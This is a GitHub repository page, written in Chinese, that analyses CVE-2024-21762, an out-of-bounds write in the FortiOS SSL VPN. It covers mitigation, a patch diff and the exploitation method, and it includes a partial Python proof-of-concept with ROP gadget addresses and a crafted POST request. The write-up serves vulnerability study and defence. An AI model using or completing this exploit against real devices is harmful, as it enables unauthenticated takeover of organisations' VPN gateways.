Skip to content

CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。

License

Notifications You must be signed in to change notification settings

XiaomingX/cve-2024-21762-poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 

Repository files navigation

cve-2024-21762-poc

CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。该漏洞允许未经身份验证的远程攻击者通过特制的 HTTP 请求在目标系统上执行任意代码或命令,可能导致系统被完全控制。

危害: 由于该漏洞的存在,攻击者可以在不需要任何身份验证的情况下,远程执行任意代码,进而完全控制受影响的设备。这可能导致敏感数据泄露、服务中断,甚至进一步的网络攻击。

攻击方法: 攻击者利用该漏洞的主要手段是发送特制的 HTTP 请求,触发 SSL VPN 组件中的越界写入漏洞。具体而言,攻击者可以通过精心构造的请求,操控内存中的数据,最终实现远程代码执行。

防护措施: 为防止受到该漏洞的攻击,建议立即将 FortiOS 和 FortiProxy 升级至官方提供的最新安全版本。此外,禁用 SSL VPN 功能也是一种临时的防护措施。


CVE-2024-21762漏洞详解:Fortinet FortiOS中的越界写漏洞

漏洞背景

CVE-2024-21762 是 Fortinet FortiOS SSL VPN 中的一种高危漏洞,属于未经授权的越界写漏洞。漏洞可能被用于远程代码执行 (RCE),对企业网络安全构成威胁。

FortiGate 于 2024 年 2 月发布了更新,修复了多个中高危漏洞。其中,本文重点分析 CVE-2024-21762 的利用过程,包括如何利用该漏洞实现远程代码执行。


漏洞利用示例代码(PoC)

以下 PoC 代码由 assetnote 提供,展示了利用此漏洞的基本步骤。

# 简化的漏洞利用代码片段
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"  # SSL握手指针
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"  # getcwd函数指针

pivot_1 = b"%52%f7%fd%00%00%00%00%00"  # pivot指令集1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00"  # pivot指令集2

rop = b""  # ROP链
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... 其余ROP链内容省略

# 伪造请求数据
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body

# 发送伪造请求
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

修复后的代码分析

通过对 FortiOS 7.4.2 和 7.4.3 的二进制文件进行对比,修复的代码位于函数 sub_18F4980 中。修复主要集中在以下两点:

  1. 在解析 chunk 格式时,添加了对 chunk 长度的校验。如果解码后的长度超过 16,视为非法。
  2. 修复了 chunk trailer 的写入逻辑,防止越界写入 \r\n

漏洞利用原理

  1. 触发越界写入

    • 当解析 chunk 时,若长度字段解码后为 0,则触发读取 chunk trailer
    • 写入 chunk trailer 时,根据长度字段向栈中写入 \r\n
    • 若长度字段为大量 0,将触发越界写入 \r\n 到返回地址附近。
  2. 栈溢出与劫持

    • 通过精心构造的 chunk 数据,可以覆盖栈中的返回地址,达到劫持程序控制流的目的。
    • 利用 ROP 技术,结合 FortiOS 的内存布局,实现远程代码执行。

漏洞利用难点

虽然可以通过 ROP 链进行劫持,但 FortiGate 主程序中 /bin/sh 不具备直接执行命令的能力,因此需要寻找其他可利用的函数。例如,通过伪造结构体指针,利用 SSL_do_handshake 进行进一步的攻击。


漏洞利用演示

即使在默认配置下(关闭 Web 模式),该漏洞仍然可以被利用。

漏洞利用演示


结论

CVE-2024-21762 是一个具有较高复杂度的漏洞,其利用过程需要对 FortiOS 的代码逻辑和内存布局有深入理解。与传统的 CTF 题目相比,真实漏洞的利用需要更复杂的上下文和结构分析。


原文链接

作者提供了更详细的中文分析文章,可参考:原文地址

About

CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages